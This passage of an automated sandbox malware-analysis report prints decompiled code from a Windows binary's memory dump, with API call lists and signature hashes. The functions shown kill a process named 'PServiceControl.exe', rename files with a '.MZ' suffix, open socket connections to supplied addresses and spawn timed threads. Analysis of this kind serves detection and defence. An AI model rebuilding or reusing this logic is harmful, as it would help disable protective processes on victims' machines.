    				intOrPtr _v24;
    				void* _v28;
    				void* _v32;
    				long _v36;
    				long _t49;
    				long _t52;
    				int _t76;
    				void* _t79;
    				intOrPtr _t94;
    
    				_t49 = E00A47920("PServiceControl.exe"); // executed
    				_v12 = _t49;
    				while(_v12 != 0) {
    					if(_v12 != 0) {
    						_v28 = OpenProcess(1, 0, _v12);
    						TerminateProcess(_v28, 0);
    					}
    					_v12 = E00A47920(_a4 + 0x10047);
    				}
    				__eflags = _a4 + 0x10047;
    				_t52 = E00A47920(_a4 + 0x10047); // executed
    				_v12 = _t52;
    				while(1) {
    					__eflags = _v12;
    					if(_v12 == 0) {
    						break;
    					}
    					__eflags = _v12;
    					if(_v12 != 0) {
    						_v32 = OpenProcess(1, 0, _v12);
    						TerminateProcess(_v32, 0);
    					}
    					_v12 = E00A47920(_a4 + 0x10047);
    				}
    				_t94 = _a4;
    				__eflags =  *(_t94 + 0x10154) & 0x000000ff;
    				if(( *(_t94 + 0x10154) & 0x000000ff) != 0) {
    					__eflags = _a4 + 0x10155;
    					if(_a4 + 0x10155 != 0) {
    						_v20 = E00A42420(_t94, 0x100);
    						_v16 = E00A42420(_t94, 0x100);
    						_v24 = E00A42420(_t94, 0x100);
    						E00A42540(_v20, 0x100);
    						E00A42540(_v16, 0x100);
    						E00A42540(_v24, 0x100);
    						E00A41A10(_v20, _a4 + 0x10155);
    						E00A41A10(_v16, _a4 + 0x10155);
    						E00A45360(_v20, "\\");
    						E00A45360(_v16, "\\");
    						E00A45360(_v20, _a4 + 0x10047);
    						E00A45360(_v16, _a4 + 0x10047);
    						E00A45360(_v16, ".MZ");
    						_t102 = _v20;
    						_t76 = MoveFileA(_v20, _v16); // executed
    						__eflags = _t76;
    						if(_t76 == 0) {
    							_v5 = 0;
    						} else {
    							_v5 = 1;
    						}
    						_v6 = _v5;
    						_v36 = GetLastError();
    						_t79 = E00A436C0(_t102); // executed
    						E00A43A00(__eflags, _t79, " RNM %04x \n", _v36); // executed
    						E00A424F0(_v20, _v20);
    						E00A424F0(_v20, _v16);
    						E00A424F0(_v20, _v24);
    					}
    				}
    				return 1;
    			}

















    0x00a4772b
    0x00a47730
    0x00a47733
    0x00a4773d
    0x00a4774d
    0x00a47756
    0x00a47756
    0x00a4776b
    0x00a4776b
    0x00a47773
    0x00a47779
    0x00a4777e
    0x00a47781
    0x00a47781
    0x00a47785
    0x00000000
    0x00000000
    0x00a47787
    0x00a4778b
    0x00a4779b
    0x00a477a4
    0x00a477a4
    0x00a477b8
    0x00a477b8
    0x00a477bd
    0x00a477c7
    0x00a477c9
    0x00a477d2
    0x00a477d7
    0x00a477e7
    0x00a477f4
    0x00a47801
    0x00a4780d
    0x00a4781b
    0x00a47829
    0x00a4783c
    0x00a47851
    0x00a47862
    0x00a47873
    0x00a47889
    0x00a4789e
    0x00a478af
    0x00a478bb
    0x00a478bf
    0x00a478c5
    0x00a478c7
    0x00a478cf
    0x00a478c9
    0x00a478c9
    0x00a478c9
    0x00a478d6
    0x00a478df
    0x00a478eb
    0x00a478f1
    0x00a478fd
    0x00a47906
    0x00a4790f
    0x00a4790f
    0x00a477d7
    0x00a47919

    APIs
      • Part of subcall function 00A47920: CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00A47937
    • OpenProcess.KERNEL32(00000001,00000000,00000000,-00010047,PServiceControl.exe), ref: 00A47747
    • TerminateProcess.KERNEL32(?,00000000), ref: 00A47756
    • OpenProcess.KERNEL32(00000001,00000000,00000000,-00010047,-00010047,PServiceControl.exe), ref: 00A47795
    • TerminateProcess.KERNEL32(?,00000000), ref: 00A477A4
    • MoveFileA.KERNEL32 ref: 00A478BF
    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,-00010047,PServiceControl.exe), ref: 00A478D9
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Process$OpenTerminate$CreateErrorFileLastMoveSnapshotToolhelp32
    • String ID: RNM %04x $.MZ$PServiceControl.exe
    • API String ID: 2658820715-3642803627
    • Opcode ID: 5462711f1bcb0253045d0c014cf942e479135493e137004a57d4dabeca78a3aa
    • Instruction ID: ecf3bc21d82b269bc6f3908db5158c3ddfd127ad314682de599b2fe7c1977823
    • Opcode Fuzzy Hash: 5462711f1bcb0253045d0c014cf942e479135493e137004a57d4dabeca78a3aa
    • Instruction Fuzzy Hash: 7251517DE04208BBDB10EBA4DC46BBF7774AFC4304F148458F645AB242D6799994CBA1
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    C-Code - Quality: 65%
    			E00A45650(intOrPtr _a4, signed int _a8) {
    				signed int _v8;
    				intOrPtr _v12;
    				short _v24;
    				short _v26;
    				char _v28;
    				char _v428;
    				char* _t25;
    				signed int _t28;
    				intOrPtr _t30;
    				void* _t37;
    
    				_v12 = 0;
    				_t25 =  &_v428;
    				__imp__#115(0x202, _t25); // executed
    				_v12 = _t25;
    				_t56 = _v12;
    				if(_v12 == 0) {
    					E00A42540( &_v28, 0x10);
    					_v28 = 2;
    					__imp__#9(_a8 & 0x0000ffff);
    					_v26 = 2;
    					__imp__#11(_a4);
    					_v24 = 2;
    					_t28 = E00A455F0(2, _a8 & 0x0000ffff, 1, 0x3a98); // executed
    					_v8 = _t28;
    					__eflags = _v8 - 0xffffffff;
    					if(_v8 != 0xffffffff) {
    						_t45 = _v8;
    						_t30 = E00A454E0(_v8,  &_v28, 0x10, 0x3a98); // executed
    						_v12 = _t30;
    						__eflags = _v12 - 0xffffffff;
    						if(_v12 != 0xffffffff) {
    							_push(0x6813);
    							E00A43A00(__eflags, E00A436C0(_t45), " %s M%X \n", _a4);
    							E00A45430(_v8, _v8, 0x1f4);
    							E00A45460(_v8, _v8, 0x1f4);
    							return _v8;
    						}
    						_push(0x6812);
    						_t37 = E00A436C0(_t45); // executed
    						E00A43A00(__eflags, _t37, " %s M%X \n", _a4); // executed
    						_v8 = 0xffffffff;
    						return _v8;
    					}
    					return _t28 | 0xffffffff;
    				}
    				return E00A43830(_t56, E00A436C0(_v12), "WSA:%d\n", _v12) | 0xffffffff;
    			}













    0x00a45659
    0x00a45660
    0x00a4566c
    0x00a45672
    0x00a45675
    0x00a45679
    0x00a456a0
    0x00a456aa
    0x00a456b3
    0x00a456b9
    0x00a456c1
    0x00a456c7
    0x00a456d1
    0x00a456d6
    0x00a456d9
    0x00a456dd
    0x00a456f2
    0x00a456f6
    0x00a456fb
    0x00a456fe
    0x00a45702
    0x00a4572c
    0x00a45740
    0x00a45751
    0x00a4575f
    0x00000000
    0x00a45764
    0x00a45704
    0x00a45712
    0x00a45718
    0x00a45720
    0x00000000
    0x00a45727
    0x00000000
    0x00a456df
    0x00000000

    APIs
    • WSAStartup.WS2_32(00000202,?), ref: 00A4566C
    • htons.WS2_32(?), ref: 00A456B3
    • inet_addr.WS2_32(00000000), ref: 00A456C1
      • Part of subcall function 00A436C0: InterlockedCompareExchange.KERNEL32(00A4B060,00000001,00000000), ref: 00A436CD
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CompareExchangeInterlockedStartuphtonsinet_addr
    • String ID: %s M%X $ %s M%X $WSA:%d
    • API String ID: 2846001439-1165289275
    • Opcode ID: 81f5f7a65f5d526d5909c485d6c2e027ce366dec9f805e4eb47855855b89193a
    • Instruction ID: b936dfbe54d91768672dd5bfd87208d76a71c85c9acd62925e94413bb5408bef
    • Opcode Fuzzy Hash: 81f5f7a65f5d526d5909c485d6c2e027ce366dec9f805e4eb47855855b89193a
    • Instruction Fuzzy Hash: 2D31A07DE40208FBDB10EFF0CD46AEFB678AF85710F108654B5146B2C2D6759B409B51
    Uniqueness

    Uniqueness Score: -1.00%

    APIs
    • StrToIntA.SHLWAPI(?,?,00000000,?,?,?,00000000,00000000), ref: 00A44CE6
    • StrToIntA.SHLWAPI(?,?,00000000,?,?,?,00000000,00000000), ref: 00A44D37
    • StrToIntA.SHLWAPI(?,?,00000000,?,?,?,00000000,00000000), ref: 00A44DAA
    • StrToIntA.SHLWAPI(?,?,00000000,?,?,?,00000000,00000000), ref: 00A44E1D
    • StrToIntA.SHLWAPI(?,?,00000000,?,?,?,00000000,00000000), ref: 00A44E90
    • StrToIntA.SHLWAPI(?,?,00000000,?,?,?,00000000,00000000), ref: 00A44EE1
      • Part of subcall function 00A43360: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00A432B3,000000FF,00000000,00000000,00000000,00000000,00A432B3), ref: 00A43382
      • Part of subcall function 00A43360: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000), ref: 00A433BC
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: ByteCharMultiWide
    • String ID:
    • API String ID: 626452242-0
    • Opcode ID: ca5f1d22149986af25c8ecac7949f4810fb85a375f54d6ab718a7094dfbe5dfd
    • Instruction ID: c0131c443f29de537009d01dae498e2aad80c69748bfc3db20a7e0b4caae9391
    • Opcode Fuzzy Hash: ca5f1d22149986af25c8ecac7949f4810fb85a375f54d6ab718a7094dfbe5dfd
    • Instruction Fuzzy Hash: E191AF78D04218EFDF64CF98C994BEEBBB2BB88305F248199E509A7240C7356E85DF51
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 720 a44ff0-a45023 GetCommandLineW CommandLineToArgvW 721 a4517d-a4517f ExitProcess 720->721 722 a45029-a4502d 720->722 723 a45033-a45052 call a43c00 722->723 724 a45149-a4515b 722->724 731 a45054-a4506a call a42c10 call a43040 call a42fc0 723->731 732 a4506f-a4508c call a43b60 723->732 726 a4516c 724->726 727 a4515d-a4516a call a45190 724->727 730 a45173-a45177 LocalFree 726->730 727->730 730->721 731->732 739 a450d2-a450ed call a42620 732->739 740 a4508e-a450ad call a43c00 732->740 749 a450fc 739->749 750 a450ef-a450fa call a42800 739->750 747 a450bd-a450cf call a436c0 call a43830 740->747 748 a450af-a450b8 call a436c0 call a43770 740->748 747->739 748->747 751 a45103-a45113 749->751 750->751 755 a4511e-a45122 751->755 759 a45124-a45135 call a44640 755->759 760 a4513c-a45144 call a42bd0 755->760 766 a4513a 759->766 760->724 766->755
    C-Code - Quality: 100%
    			_entry_() {
    				PWCHAR* _v8;
    				int _v12;
    				signed int _v16;
    				intOrPtr _v20;
    				intOrPtr _v24;
    				intOrPtr _v28;
    				int _v32;
    				int _v36;
    				int _v40;
    				int _v44;
    				int _v48;
    				int _v52;
    				char _v76;
    				void* _t104;
    
    				_v8 = 0;
    				_v12 = 0;
    				_v52 = 0;
    				_v8 = CommandLineToArgvW(GetCommandLineW(),  &_v12);
    				if(_v8 == 0) {
    					L20:
    					ExitProcess(0);
    				}
    				if(_v12 == 0) {
    					L16:
    					_v44 =  *0xa4b05c;
    					_v40 = _v44;
    					__eflags = _v40;
    					if(_v40 == 0) {
    						_v48 = 0;
    					} else {
    						_v48 = E00A45190(_v40, 1);
    					}
    					LocalFree(_v8);
    					goto L20;
    				}
    				_v20 = E00A43C00(_v8,  &(_v8[_v12]), L"-t");
    				if(_v20 != 0) {
    					E00A43040(E00A42C10( &_v76, _v20));
    					E00A42FC0( &_v76);
    				}
    				if((E00A43B60(_v8,  &(_v8[_v12]), L"-o") & 0x000000ff) != 0) {
    					_t91 =  &(_v8[_v12]);
    					_v24 = E00A43C00(_v8,  &(_v8[_v12]), L"-o");
    					_t110 = _v24;
    					if(_v24 != 0) {
    						E00A436C0(_t91);
    						E00A43770(_v24);
    					}
    					E00A43830(_t110, E00A436C0(_t91), "%d\n", 0x16);
    					_t104 = _t104 + 0xc;
    				}
    				_v36 = 0;
    				_v28 = E00A42620(0x1ac);
    				if(_v28 == 0) {
    					_v32 = 0;
    				} else {
    					_v32 = E00A42800(_v28);
    				}
    				 *0xa4b05c = _v32;
    				_v16 = 0;
    				while(_v16 < 3) {
    					_v36 =  *((intOrPtr*)(0xa4b000 + _v16 * 4));
    					E00A44640(_v16, _v36); // executed
    					_v16 = _v16 + 1;
    				}
    				E00A42BD0( *0xa4b05c, 0xffffffff); // executed
    				goto L16;
    			}

















    0x00a44ff6
    0x00a44ffd
    0x00a45004
    0x00a4501c
    0x00a45023
    0x00a4517d
    0x00a4517f
    0x00a4517f
    0x00a4502d
    0x00a45149
    0x00a4514e
    0x00a45154
    0x00a45157
    0x00a4515b
    0x00a4516c
    0x00a4515d
    0x00a45167
    0x00a45167
    0x00a45177
    0x00000000
    0x00a45177
    0x00a4504b
    0x00a45052
    0x00a45062
    0x00a4506a
    0x00a4506a
    0x00a4508c
    0x00a45099
    0x00a450a6
    0x00a450a9
    0x00a450ad
    0x00a450af
    0x00a450b8
    0x00a450b8
    0x00a450ca
    0x00a450cf
    0x00a450cf
    0x00a450d2
    0x00a450e6
    0x00a450ed
    0x00a450fc
    0x00a450ef
    0x00a450f7
    0x00a450f7
    0x00a45106
    0x00a4510c
    0x00a4511e
    0x00a4512e
    0x00a45135
    0x00a4511b
    0x00a4511b
    0x00a45144
    0x00000000

    APIs
    • GetCommandLineW.KERNEL32(00000000), ref: 00A4500F
    • CommandLineToArgvW.SHELL32(00000000), ref: 00A45016
    • LocalFree.KERNEL32(00000000), ref: 00A45177
      • Part of subcall function 00A42C10: GetSystemTime.KERNEL32(?), ref: 00A42C7B
      • Part of subcall function 00A42C10: StrToIntA.SHLWAPI(00000000,00000000), ref: 00A42C8B
      • Part of subcall function 00A42C10: SystemTimeToFileTime.KERNEL32(?,?), ref: 00A42CB7
      • Part of subcall function 00A42C10: FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000008,00000000,?,00000008), ref: 00A42D04
      • Part of subcall function 00A42C10: wnsprintfW.SHLWAPI ref: 00A42D24
      • Part of subcall function 00A42C10: VarDateFromStr.OLEAUT32(?,00000800,80000003,?), ref: 00A42D6A
      • Part of subcall function 00A42C10: VariantTimeToSystemTime.OLEAUT32 ref: 00A42D8F
      • Part of subcall function 00A42FC0: CloseHandle.KERNEL32(006F002D,?,?,00A4506F,00000000,00000000,00000000,00A49C80), ref: 00A42FE5
      • Part of subcall function 00A42FC0: CloseHandle.KERNEL32(006F002D,?,?,00A4506F,00000000,00000000,00000000,00A49C80), ref: 00A4301A
    • ExitProcess.KERNEL32 ref: 00A4517F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Time$System$CloseCommandFileHandleLine$ArgvDateExitFreeFromLocalProcessVariantwnsprintf
    • String ID: %d
    • API String ID: 2725239889-545462948
    • Opcode ID: 0914dfa96cba6a62d94d9bcf36e25c99b5c9498c4c362639037966b0ecfd0113
    • Instruction ID: ce591ef8437d43dc73802e8d9c61cbd0f2adb495cce6b3ad3bd4e79e0ed08cba
    • Opcode Fuzzy Hash: 0914dfa96cba6a62d94d9bcf36e25c99b5c9498c4c362639037966b0ecfd0113
    • Instruction Fuzzy Hash: 5841F3B8D00209EFCB04EFE8D989BEEB7B5AFC8305F208558E00167292D7755A45CFA0
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    C-Code - Quality: 100%
    			E00A43870(void* __eflags, char* _a8, void* _a12) {
    				void* _v8;
    				void* _v12;
    				int _v16;
    				int _v20;
    				long _v24;
    				char _v28;
    				struct _OVERLAPPED* _v32;
    				void* _t29;
    				int _t38;
    
    				_v20 = 0;
    				E00A43600( &_v28, 0xa4b040);
    				_t29 = E00A42420( &_v28, 0x1001); // executed
    				_v8 = _t29;
    				if(_v8 != 0) {
    					_t48 = _a8;
    					_v16 = wvnsprintfA(_v8, 0x1000, _a8, _a12);
    					if(_v16 > 0) {
    						_v24 = 0;
    						if( *0xa4b058 == 0) {
    							_t48 = _v8;
    							_t38 = WriteFile(GetStdHandle(0xfffffff5), _v8, _v16,  &_v24, 0); // executed
    							_v20 = _t38;
    						} else {
    							_v12 = CreateFileW( *0xa4b058, 4, 7, 0, 4, 0x80, 0);
    							if((E00A43660(_v12, _v12) & 0x000000ff) != 0) {
    								_v20 = WriteFile(_v12, _v8, _v16,  &_v24, 0);
    							}
    							_t48 = _v12;
    							E00A43690(_v12, _v12);
    						}
    					}
    					E00A424F0(_t48, _v8);
    				}
    				_v32 = _v20;
    				E00A43630( &_v28);
    				return _v32;
    			}












    0x00a43876
    0x00a43885
    0x00a4388f
    0x00a43894
    0x00a4389b
    0x00a438a5
    0x00a438b8
    0x00a438bf
    0x00a438c5
    0x00a438d3
    0x00a43933
    0x00a43940
    0x00a43946
    0x00a438d5
    0x00a438f0
    0x00a43901
    0x00a4391b
    0x00a4391b
    0x00a4391e
    0x00a43922
    0x00a43922
    0x00a438d3
    0x00a4394d
    0x00a4394d
    0x00a43955
    0x00a4395b
    0x00a43966

    APIs
      • Part of subcall function 00A43600: EnterCriticalSection.KERNEL32(00A4B040,00000000,?,00A43A1A,00A4B040,00006810,00000000,00000000), ref: 00A43615
      • Part of subcall function 00A42420: GetProcessHeap.KERNEL32(00000008,00000000,?,?,00A4262C,00000000,?,00A450E3,000001AC,00000000,?,00A49C88,00000000,00000000,00A49C80), ref: 00A4242A
      • Part of subcall function 00A42420: RtlAllocateHeap.NTDLL(00000000,?,?,00A4262C,00000000,?,00A450E3,000001AC,00000000,?,00A49C88,00000000,00000000,00A49C80), ref: 00A42431
    • wvnsprintfA.SHLWAPI(00000000,00001000,00000000,00000000), ref: 00A438B2
    • CreateFileW.KERNEL32(?,00000004,00000007,00000000,00000004,00000080,00000000), ref: 00A438EA
    • WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000,?), ref: 00A43915
    • GetStdHandle.KERNEL32(000000F5,00000000,00000000,00000000,00000000), ref: 00A43939
    • WriteFile.KERNELBASE(00000000), ref: 00A43940
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: File$HeapWrite$AllocateCreateCriticalEnterHandleProcessSectionwvnsprintf
    • String ID:
    • API String ID: 2519008796-0
    • Opcode ID: 96a0226e3ae5d05f1adf48e64638679b127fea8e60aff9ef45765f1580a808d8
    • Instruction ID: a56ab64af22fe485db2e90b2b59c368f73ad1fb7729045187a9e2a2864dc38dc
    • Opcode Fuzzy Hash: 96a0226e3ae5d05f1adf48e64638679b127fea8e60aff9ef45765f1580a808d8
    • Instruction Fuzzy Hash: 4A310ABE900209FBDF04DFE4CD45FAFB7B8AB88701F104558B615A7281D7B4AA41CBA0
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 798 a454e0-a45502 connect 799 a45504-a45506 798->799 800 a4550b-a4550f 798->800 801 a455dc-a455df 799->801 802 a45515-a45520 WSAGetLastError 800->802 803 a455d9 800->803 802->803 804 a45526 802->804 803->801 805 a45530-a45537 804->805 806 a45542-a4554b 805->806 807 a45560-a45569 806->807 808 a4554d-a4555a 806->808 811 a45590-a45592 807->811 812 a4556b-a45572 807->812 809 a4555c 808->809 810 a4555e 808->810 809->807 810->806 811->805 815 a45594-a455a5 call a45490 811->815 812->811 814 a45574-a4558a 812->814 814->811 817 a455aa-a455ad 815->817 817->803 818 a455af-a455c2 __WSAFDIsSet 817->818 819 a455c4-a455cb 818->819 820 a455cd 818->820 821 a455d4-a455d7 819->821 820->821 821->801
    APIs
    • connect.WS2_32(00000001,00003A98,00000010), ref: 00A454F5
    • WSAGetLastError.WS2_32 ref: 00A45515
    • __WSAFDIsSet.WS2_32(000000FF,00000000), ref: 00A455BA
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: ErrorLastconnect
    • String ID: @
    • API String ID: 374722065-2766056989
    • Opcode ID: d4edc51a92e8b8020169d1d7d2ba9433cc4f6985e301a29280790c3064d81d29
    • Instruction ID: 63a2036c6fbb08c4deecf97b835447dd920a5bcb1e6edb5e36a44c200d69e60f
    • Opcode Fuzzy Hash: d4edc51a92e8b8020169d1d7d2ba9433cc4f6985e301a29280790c3064d81d29
    • Instruction Fuzzy Hash: 3231FD79D0050CEBCB14CFA4D885BFE7776BB88310F608685E52A97281D7B49E84DF52
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    C-Code - Quality: 100%
    			E00A428E0(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
    				void* _v8;
    				intOrPtr _v12;
    				intOrPtr _v16;
    				union _LARGE_INTEGER _v20;
    				int _t20;
    				intOrPtr _t25;
    
    				_t25 = __edx;
    				_v12 = __ecx;
    				_v8 = 0;
    				_v8 = CreateWaitableTimerW(0, 1, 0);
    				_t27 = _v8;
    				if(_v8 != 0) {
    					_v20.LowPart = E00A48040(E00A47F90(E00A427B0(_t25, _t27, _a4, 0), _t25, 0x64, 0), _t25, 0xffffffff, 0xffffffff);
    					_v16 = _t25;
    					_t20 = SetWaitableTimer(_v8,  &_v20, 0, 0, 0, 0); // executed
    					if(_t20 == 0) {
    						CloseHandle(_v8);
    						_v8 = 0;
    					}
    				}
    				return _v8;
    			}









    0x00a428e0
    0x00a428e6
    0x00a428e9
    0x00a428fc
    0x00a428ff
    0x00a42903
    0x00a42927
    0x00a4292a
    0x00a4293d
    0x00a42945
    0x00a4294b
    0x00a42951
    0x00a42951
    0x00a42945
    0x00a4295e

    APIs
    • CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00A428F6
    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A42917
    • SetWaitableTimer.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,?,000000FF,000000FF,00000000,?,00000064,00000000,?,00000000), ref: 00A4293D
    • CloseHandle.KERNEL32(00000000,?,000000FF,000000FF,00000000,?,00000064,00000000,?,00000000), ref: 00A4294B
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: TimerWaitable$CloseCreateHandleUnothrow_t@std@@@__ehfuncinfo$??2@
    • String ID:
    • API String ID: 98796423-0
    • Opcode ID: 1530f62c594f4b12aa8e22ba502664e6fd270c6f9aa638f00b35af7a800a3dc0
    • Instruction ID: 636bf394d2dd0bc5c65444356f68b4cec955c903fb46c8f16f4453965fcd93e0
    • Opcode Fuzzy Hash: 1530f62c594f4b12aa8e22ba502664e6fd270c6f9aa638f00b35af7a800a3dc0
    • Instruction Fuzzy Hash: 7C0112B8A44308BBEB10DFE4CD0AF6E76B8AB84710F604658B614BB2C0D7B56A409B54
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 832 a42ac0-a42adf call a426e0 835 a42ae5-a42b15 call a428e0 call a427d0 832->835 836 a42b97-a42ba3 call a429c0 832->836 848 a42b95 835->848 849 a42b17-a42b47 CreateThread call a427d0 835->849 841 a42ba5-a42bb4 call a42ac0 836->841 842 a42bb9-a42bc4 call a42710 836->842 841->842 848->842 851 a42b4c-a42b51 849->851 852 a42b53-a42b68 851->852 853 a42b6a-a42b8d CloseHandle 851->853 852->848 853->848
    C-Code - Quality: 100%
    			E00A42AC0(intOrPtr __ecx, _Unknown_base(*)()* _a4, void* _a8, intOrPtr _a12) {
    				intOrPtr _v8;
    				void* _v12;
    				void* _v16;
    				char _v20;
    				void* _t56;
    				void* _t61;
    
    				_v8 = __ecx;
    				E00A426E0( &_v20, _v8);
    				if( *(_v8 + 0x1a8) >= 0x32) {
    					if(E00A429C0(_v8, 0xffffffff) != 0) {
    						E00A42AC0(_v8, _a4, _a8, _a12);
    					}
    					L8:
    					return E00A42710( &_v20);
    				}
    				_t56 = E00A428E0(_v8, _a12, _a12); // executed
    				_v12 = _t56;
    				 *(_v8 + 0x1c +  *(_v8 + 0x1a8) * 8) = _v12;
    				if((E00A427D0(_v12, _v12) & 0x000000ff) != 0) {
    					_t61 = CreateThread(0, 0, _a4, _a8, 0, 0); // executed
    					_v16 = _t61;
    					 *((intOrPtr*)(_v8 + 0x18 +  *(_v8 + 0x1a8) * 8)) = _v16;
    					if((E00A427D0(_v8, _v16) & 0x000000ff) == 0) {
    						CloseHandle( *(_v8 + 0x1c +  *(_v8 + 0x1a8) * 8));
    						 *(_v8 + 0x1c +  *(_v8 + 0x1a8) * 8) = 0;
    					} else {
    						 *(_v8 + 0x1a8) =  *(_v8 + 0x1a8) + 1;
    					}
    				}
    				goto L8;
    			}









    0x00a42ac6
    0x00a42ad0
    0x00a42adf
    0x00a42ba3
    0x00a42bb4
    0x00a42bb4
    0x00a42bb9
    0x00a42bc4
    0x00a42bc4
    0x00a42aec
    0x00a42af1
    0x00a42b03
    0x00a42b15
    0x00a42b27
    0x00a42b2d
    0x00a42b3f
    0x00a42b51
    0x00a42b7b
    0x00a42b8d
    0x00a42b53
    0x00a42b62
    0x00a42b62
    0x00a42b51
    0x00000000

    APIs
    • Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00A42AD0
      • Part of subcall function 00A428E0: CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00A428F6
      • Part of subcall function 00A428E0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A42917
      • Part of subcall function 00A428E0: SetWaitableTimer.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,?,000000FF,000000FF,00000000,?,00000064,00000000,?,00000000), ref: 00A4293D
      • Part of subcall function 00A428E0: CloseHandle.KERNEL32(00000000,?,000000FF,000000FF,00000000,?,00000064,00000000,?,00000000), ref: 00A4294B
    • CreateThread.KERNELBASE ref: 00A42B27
    • CloseHandle.KERNEL32(00000000,?), ref: 00A42B7B
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
